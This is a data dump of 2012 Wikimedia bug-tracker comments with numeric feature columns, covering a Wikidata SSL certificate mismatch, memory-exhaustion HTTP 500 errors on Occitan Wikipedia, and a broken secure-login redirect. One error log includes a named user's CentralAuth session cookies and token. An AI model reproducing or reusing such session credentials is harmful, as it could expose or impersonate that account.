And Wikidata SUL autologin has been re-enabled with Gerrit change 30623.",,,1351534738,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tbrir7a33onbjeho4xwr,task_subcomment,,True,c2,1,True,,,-44,True,0.0,0.0,0.0,2.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,23.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,5.0,18.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,15.0,4.131147540983607,0.7540983606557377,"<Krenair> Ah so wikidata SSL is working now
<^demon> Krenair: For wikidata.org & www.wikidata.org. Lang subdomains need a little further tweaking.
<^demon> Krenair: Apache config is correct. It needs further DNS work.

And Wikidata SUL autologin has been re-enabled with Gerrit change 30623."
183821,Wikidata.org is using the SSL certificate for *.wikimedia.org,I've disabled auto-login to .wikidata.org until we fix SSL.,,,1351516871,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-tbrir7a33onbjeho4xwr,task_subcomment,,True,c2,1,True,,,-44,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,15.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,15.0,15.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.923076923076923,1.0,I've disabled auto-login to .wikidata.org until we fix SSL.
183817,Wikidata.org is using the SSL certificate for *.wikimedia.org,*** Bug 41486 has been marked as a duplicate of this bug. ***,,,1351515542,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tbrir7a33onbjeho4xwr,task_subcomment,,True,c2,1,True,,,-44,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 41486 has been marked as a duplicate of this bug. ***
183811,Wikidata.org is using the SSL certificate for *.wikimedia.org,"(In reply to comment #3)
> Knocking down to normal/normal as it's not a high priority as it's currently a
> test site

It is a test site, but due to SUL und the image after login and logout you will get a error in the browser (at least IE), which can make wmf wikis (except wikidata) feeling untrusted by other users. So this should fixed asap.",,,1351409516,,PHID-USER-a6jwrurphpx6yl4coupk,False,,,PHID-TASK-tbrir7a33onbjeho4xwr,task_subcomment,,True,c2,1,False,,,-44,True,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,14.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,2.0,2.0,3.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,11.0,2.0,3.0,9.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,3.0,14.0,6.0,0.0,0.0,0.0,3.0,0.0,2.0,3.0,0.0,0.0,0.0,2.0,0.0,3.3230769230769233,0.8307692307692308,"(In reply to comment #3)
QUOTE
QUOTE

It is a test site, but due to SUL und the image after login and logout you will get a error in the browser (at least IE), which can make wmf wikis (except wikidata) feeling untrusted by other users. So this should fixed asap."
183804,Wikidata.org is using the SSL certificate for *.wikimedia.org,"(In reply to comment #2)
> Doesn't seem to have fixed it... Or just hasn't been deployed.

It was a guess as it looked spurious. Daniel did confirm it was supposed to be deployed by puppet, and then restarted the ssl proxies/terminators


Knocking down to normal/normal as it's not a high priority as it's currently a test site",,,1351377712,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-tbrir7a33onbjeho4xwr,task_subcomment,,True,c2,1,True,,,-44,True,0.0,0.0,0.0,3.0,2.0,8.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,15.0,0.0,3.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,8.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,5.0,8.0,0.0,2.0,7.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,8.0,15.0,2.0,0.0,0.0,0.0,8.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,3.6885245901639343,0.7868852459016393,"(In reply to comment #2)
QUOTE

It was a guess as it looked spurious. Daniel did confirm it was supposed to be deployed by puppet, and then restarted the ssl proxies/terminators


Knocking down to normal/normal as it's not a high priority as it's currently a test site"
183801,Wikidata.org is using the SSL certificate for *.wikimedia.org,Doesn't seem to have fixed it... Or just hasn't been deployed.,,,1351377062,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tbrir7a33onbjeho4xwr,task_subcomment,,True,c2,1,True,,,-44,True,0.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,20.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.466666666666667,0.9333333333333333,Doesn't seem to have fixed it... Or just hasn't been deployed.
183797,Wikidata.org is using the SSL certificate for *.wikimedia.org,https://gerrit.wikimedia.org/r/#/c/30307/,,,1351294636,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-tbrir7a33onbjeho4xwr,task_subcomment,,True,c2,1,True,,,-44,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
43115,some pages return HTTP 500 on oc.wikipedia,"https://oc.wikipedia.org/wiki/Sent_Medard_de_Moissida
https://oc.wikipedia.org/wiki/Sent_Privat_daus_Prats
https://oc.wikipedia.org/wiki/Sent_Sieurin_de_Prats
https://oc.wikipedia.org/wiki/Sarlanda
https://oc.wikipedia.org/wiki/Sodac
etc...

https://oc.wikipedia.org/wiki/Sent_Medard_de_Moissida?printable=yes return:
PHP fatal error in /usr/local/apache/common-local/php-1.21wmf1/includes/objectcache/MemcachedClient.php line 908:
Allowed memory size of 134217728 bytes exhausted (tried to allocate 499456 bytes)

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1350493260,1362732997.0,PHID-USER-vrkdtwc5nsmxyre6v7dq,False,,False,PHID-TASK-empuy7qo3prhivzgt5yf,task_description,declined,True,c2,1,False,False,True,-45,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.9054054054054053,0.5675675675675675,"URL
URL
URL
URL
URL
etc...

URL return:
PHP fatal error in /usr/local/apache/common-local/php-1.21wmf1/includes/objectcache/MemcachedClient.php line 908:
Allowed memory size of 134217728 bytes exhausted (tried to allocate 499456 bytes)

--------------------------
**Version**: unspecified
**Severity**: normal"
190152,some pages return HTTP 500 on oc.wikipedia,"yfdyh000: All the pages that you listed in comment 0 work for me now, so I assume this is fixed. Please reopen this report if the problem still happens for you.",,,1362732997,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-empuy7qo3prhivzgt5yf,task_subcomment,,True,c2,1,True,,,-25,True,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,9.0,11.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,11.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,6.0,3.0,9.0,3.0,0.0,14.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,11.0,11.0,3.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.7142857142857144,0.8571428571428571,"yfdyh000: All the pages that you listed in comment 0 work for me now, so I assume this is fixed. Please reopen this report if the problem still happens for you."
190148,some pages return HTTP 500 on oc.wikipedia,I suspect the not-enough-memory error will be the fault of https://oc.wikipedia.org/wiki/Mod%C3%A8l:Demografia,,,1351501802,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-empuy7qo3prhivzgt5yf,task_subcomment,,True,c2,1,False,,,-44,True,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,13.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.466666666666667,0.8666666666666667,I suspect the not-enough-memory error will be the fault of URL
190143,some pages return HTTP 500 on oc.wikipedia,confirmed,,,1350734264,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-empuy7qo3prhivzgt5yf,task_subcomment,,True,c2,1,True,,,-45,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,confirmed
190138,some pages return HTTP 500 on oc.wikipedia,"[17-Oct-2012 17:02:44] Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 499456 bytes) at /usr/local/apache/common-local/php-1.21wmf1/includes/objectcache/MemcachedClient.php on line 908
Server: mw53
Method: GET
URL: http://oc.wikipedia.org/wiki/Sent_Medard_de_Moissida
Cookie: centralauth_LoggedOut=20121001202336; centralauth_Session=1b18a1754bbd3be181dee37fbcfca607; centralauth_User=Reedy; centralauth_Token=76aec9b6c7a8749346e752697086ecdc; ocwiki_session=fd00b10d0368beb72a6c90c2e3cbb2ae
Backtrace:
#0 /usr/local/apache/common-local/php-1.21wmf1/includes/objectcache/MemcachedClient.php(908): gzuncompress('x???M?$?q???+J-...')
#1 /usr/local/apache/common-local/php-1.21wmf1/includes/objectcache/MemcachedClient.php(447): MWMemcached->_load_items(Resource id #174, Array)
#2 /usr/local/apache/common-local/php-1.21wmf1/includes/objectcache/MemcachedBagOStuff.php(63): MWMemcached->get('ocwiki:preproce...')
#3 /usr/local/apache/common-local/php-1.21wmf1/includes/parser/Preprocessor_Hash.php(121): MemcachedBagOStuff->get('ocwiki:preproce...')
#4 /usr/local/apache/common-local/php-1.21wmf1/includes/parser/Parser.php(2984): Preprocessor_Hash->preprocessToObj('<!--??Cars cont...', 1)
#5 /usr/local/apache/common-local/php-1.21wmf1/includes/parser/Parser.php(3503): Parser->preprocessToDom('<!--??Cars cont...', 1)
#6 /usr/local/apache/common-local/php-1.21wmf1/includes/parser/Parser.php(3355): Parser->getTemplateDom(Object(Title))
#7 /usr/local/apache/common-local/php-1.21wmf1/includes/parser/Preprocessor_Hash.php(1007): Parser->braceSubstitution(Array, Object(PPTemplateFrame_Hash))
#8 /usr/local/apache/common-local/php-1.21wmf1/includes/parser/Parser.php(3416): PPFrame_Hash->expand(Object(PPNode_Hash_Tree))
#9 /usr/local/apache/common-local/php-1.21wmf1/includes/parser/Preprocessor_Hash.php(1007): Parser->braceSubstitution(Array, Object(PPFrame_Hash))
#10 /usr/local/apache/common-local/php-1.21wmf1/includes/parser/Parser.php(3043): PPFrame_Hash->expand(Object(PPNode_Hash_Tree), 0)
#11 /usr/local/apache/common-local/php-1.21wmf1/includes/parser/Parser.php(1141): Parser->replaceVariables('<!-- Article re...')
#12 /usr/local/apache/common-local/php-1.21wmf1/includes/parser/Parser.php(370): Parser->internalParse('<!-- Article re...')
#13 /usr/local/apache/common-local/php-1.21wmf1/includes/WikiPage.php(3120): Parser->parse('<!-- Article re...', Object(Title), Object(ParserOptions), true, true, 1275285)
#14 /usr/local/apache/common-local/php-1.21wmf1/includes/PoolCounter.php(209): PoolWorkArticleView->doWork()
#15 /usr/local/apache/common-local/php-1.21wmf1/includes/Article.php(631): PoolCounterWork->execute()
#16 /usr/local/apache/common-local/php-1.21wmf1/includes/actions/ViewAction.php(37): Article->view()
#17 /usr/local/apache/common-local/php-1.21wmf1/includes/Wiki.php(427): ViewAction->show()
#18 /usr/local/apache/common-local/php-1.21wmf1/includes/Wiki.php(304): MediaWiki->performAction(Object(Article))
#19 /usr/local/apache/common-local/php-1.21wmf1/includes/Wiki.php(553): MediaWiki->performRequest()
#20 /usr/local/apache/common-local/php-1.21wmf1/includes/Wiki.php(446): MediaWiki->main()
#21 /usr/local/apache/common-local/php-1.21wmf1/index.php(59): MediaWiki->run()
#22 /usr/local/apache/common-local/live-1.5/index.php(3): require('/usr/local/apac...')
#23 {main}",,,1350493396,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-empuy7qo3prhivzgt5yf,task_subcomment,,True,c2,1,True,,,-45,True,0.0,0.0,0.0,0.0,0.0,11.285714285714286,0.0,0.0,0.0,0.0,0.0,1.2857142857142858,0.0,0.0,0.0,0.14285714285714285,0.0,0.0,1.0,0.0,0.14285714285714285,0.0,0.0,0.0,0.14285714285714285,0.0,0.0,0.0,0.0,0.0,0.0,3.2857142857142856,0.0,0.0,0.0,0.0,0.0,0.0,0.14285714285714285,0.14285714285714285,0.0,0.0,0.0,0.2857142857142857,0.0,0.0,0.0,0.0,0.0,10.142857142857142,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.857142857142858,0.0,0.0,0.0,0.0,0.0,0.0,3.5714285714285716,0.14285714285714285,0.0,9.0,0.0,0.0,1.0,11.285714285714286,0.0,1.2857142857142858,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.14285714285714285,4.8231482962725964,0.35584706446968484,"[17-Oct-2012 17:02:44] Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 499456 bytes) at /usr/local/apache/common-local/php-1.21wmf1/includes/objectcache/MemcachedClient.php on line 908
Server: mw53
Method: GET
URL: URL
Cookie: centralauth_LoggedOut=20121001202336; centralauth_Session=1b18a1754bbd3be181dee37fbcfca607; centralauth_User=Reedy; centralauth_Token=76aec9b6c7a8749346e752697086ecdc; ocwiki_session=fd00b10d0368beb72a6c90c2e3cbb2ae
Backtrace:
#0 /usr/local/apache/common-local/php-1.21wmf1/includes/objectcache/MemcachedClient.php(908): gzuncompress('x???M?$?q???+J-...')
#1 /usr/local/apache/common-local/php-1.21wmf1/includes/objectcache/MemcachedClient.php(447): MWMemcached->_load_items(Resource id #174, Array)
#2 /usr/local/apache/common-local/php-1.21wmf1/includes/objectcache/MemcachedBagOStuff.php(63): MWMemcached->get('ocwiki:preproce...')
#3 /usr/local/apache/common-local/php-1.21wmf1/includes/parser/Preprocessor_Hash.php(121): MemcachedBagOStuff->get('ocwiki:preproce...')
#4 /usr/local/apache/common-local/php-1.21wmf1/includes/parser/Parser.php(2984): Preprocessor_Hash->preprocessToObj('<!--??Cars cont...', 1)
#5 /usr/local/apache/common-local/php-1.21wmf1/includes/parser/Parser.php(3503): Parser->preprocessToDom('<!--??Cars cont...', 1)
#6 /usr/local/apache/common-local/php-1.21wmf1/includes/parser/Parser.php(3355): Parser->getTemplateDom(Object(Title))
#7 /usr/local/apache/common-local/php-1.21wmf1/includes/parser/Preprocessor_Hash.php(1007): Parser->braceSubstitution(Array, Object(PPTemplateFrame_Hash))
#8 /usr/local/apache/common-local/php-1.21wmf1/includes/parser/Parser.php(3416): PPFrame_Hash->expand(Object(PPNode_Hash_Tree))
#9 /usr/local/apache/common-local/php-1.21wmf1/includes/parser/Preprocessor_Hash.php(1007): Parser->braceSubstitution(Array, Object(PPFrame_Hash))
#10 /usr/local/apache/common-local/php-1.21wmf1/includes/parser/Parser.php(3043): PPFrame_Hash->expand(Object(PPNode_Hash_Tree), 0)
#11 /usr/local/apache/common-local/php-1.21wmf1/includes/parser/Parser.php(1141): Parser->replaceVariables('<!-- Article re...')
#12 /usr/local/apache/common-local/php-1.21wmf1/includes/parser/Parser.php(370): Parser->internalParse('<!-- Article re...')
#13 /usr/local/apache/common-local/php-1.21wmf1/includes/WikiPage.php(3120): Parser->parse('<!-- Article re...', Object(Title), Object(ParserOptions), true, true, 1275285)
#14 /usr/local/apache/common-local/php-1.21wmf1/includes/PoolCounter.php(209): PoolWorkArticleView->doWork()
#15 /usr/local/apache/common-local/php-1.21wmf1/includes/Article.php(631): PoolCounterWork->execute()
#16 /usr/local/apache/common-local/php-1.21wmf1/includes/actions/ViewAction.php(37): Article->view()
#17 /usr/local/apache/common-local/php-1.21wmf1/includes/Wiki.php(427): ViewAction->show()
#18 /usr/local/apache/common-local/php-1.21wmf1/includes/Wiki.php(304): MediaWiki->performAction(Object(Article))
#19 /usr/local/apache/common-local/php-1.21wmf1/includes/Wiki.php(553): MediaWiki->performRequest()
#20 /usr/local/apache/common-local/php-1.21wmf1/includes/Wiki.php(446): MediaWiki->main()
#21 /usr/local/apache/common-local/php-1.21wmf1/index.php(59): MediaWiki->run()
#22 /usr/local/apache/common-local/live-1.5/index.php(3): require('/usr/local/apac...')
#23 {main}"
42789,$wgSecureLogin is broken,"Redirect loops just like described in https://gerrit.wikimedia.org/r/#/c/25530/1/includes/specials/SpecialUserlogin.php

--------------------------
**Version**: 1.20.x
**Severity**: major",High,80.0,1349421480,1349811074.0,PHID-USER-732lqsmz4v6bss3kln2v,False,,False,PHID-TASK-ja62toj2hlptt7xhcdj4,task_description,resolved,True,c2,1,False,False,True,-47,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.04,0.64,"Redirect loops just like described in URL

--------------------------
**Version**: 1.20.x
**Severity**: major"
195865,$wgSecureLogin is broken,"Above, Chris says it'll be in 1.21wmf2. I think that's a no.",,,1350200827,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-ja62toj2hlptt7xhcdj4,task_subcomment,,True,c2,1,False,,,-46,True,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,18.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,6.0,18.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,12.0,6.0,6.0,0.0,0.0,0.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.8823529411764706,0.9411764705882353,"Above, Chris says it'll be in 1.21wmf2. I think that's a no."
195859,$wgSecureLogin is broken,"(In reply to comment #8)
> It'd be great if it could be, quite frankly. Some of the bots Wikipedia uses
> for site maintenance are reliant on this working. The central help forum for
> en-wiki hasn't been able to archive itself since the bug.

So is this in 1.20.0 or not?",,,1350199274,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ja62toj2hlptt7xhcdj4,task_subcomment,,True,c2,1,True,,,-46,True,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,23.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,9.0,0.0,0.0,14.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8181818181818183,0.8181818181818182,"(In reply to comment #8)
QUOTE
QUOTE
QUOTE

So is this in 1.20.0 or not?"
195854,$wgSecureLogin is broken,"It'd be great if it could be, quite frankly. Some of the bots Wikipedia uses for site maintenance are reliant on this working. The central help forum for en-wiki hasn't been able to archive itself since the bug.",,,1350184654,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-ja62toj2hlptt7xhcdj4,task_subcomment,,True,c2,1,False,,,-46,True,2.0,0.0,0.0,0.0,2.0,9.0,7.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,15.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,9.0,9.0,4.0,0.0,11.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,7.0,15.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.782608695652174,0.8913043478260869,"It'd be great if it could be, quite frankly. Some of the bots Wikipedia uses for site maintenance are reliant on this working. The central help forum for en-wiki hasn't been able to archive itself since the bug."
195851,$wgSecureLogin is broken,Is this going to be backported and deployed before 1.21wmf2?,,,1350068586,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-ja62toj2hlptt7xhcdj4,task_subcomment,,True,c2,1,True,,,-46,True,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,18.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.636363636363637,1.0,Is this going to be backported and deployed before 1.21wmf2?
195848,$wgSecureLogin is broken,Verified on http://sandbox.translatewiki.net/ (updated sandbox.translatewiki.net to be7d611 2012-10-11 08:51:13 +0000).,,,1349984816,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ja62toj2hlptt7xhcdj4,task_subcomment,,True,c2,1,True,,,-46,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.705882352941177,0.9411764705882353,Verified on URL (updated sandbox.translatewiki.net to be7d611 2012-10-11 08:51:13 +0000).
